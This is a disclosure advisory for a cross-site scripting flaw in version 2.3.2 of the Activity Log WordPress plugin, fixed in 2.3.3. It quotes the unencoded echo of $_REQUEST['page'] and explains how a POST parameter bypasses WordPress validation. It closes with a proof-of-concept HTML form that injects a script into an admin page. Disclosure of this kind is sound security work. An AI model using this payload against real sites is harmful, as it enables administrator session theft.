Abstract
A Cross-Site Scripting vulnerability was found in the Activity Log WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160724-0022
Tested versions
This issue was successfully tested on Activity Log WordPress Plugin version 2.3.2
Fix
This issue is fixed in Activity Log version 2.3.3
Introduction
The Activity Log WordPress Plugin helps monitor & log all changes and activities on a WordPress site. A Cross-Site Scripting vulnerability was found in the Activity Log WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Details
The issue exists in the file classes/class-aal-admin-ui.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
public function activity_log_page_func() {
$this->get_list_table()->prepare_items();
?>
<div class="wrap">
<h2 class="aal-page-title"><?php _e( 'Activity Log', 'aryo-activity-log' ); ?></h2>
<form id="activity-filter" method="get">
<input type="hidden" name="page" value="<?php **echo $_REQUEST['page']** ?>" />
<?php $this->get_list_table()->display(); ?>
</form>
</div>
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=activity_log_page" method="POST">
<input type="hidden" name="page" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>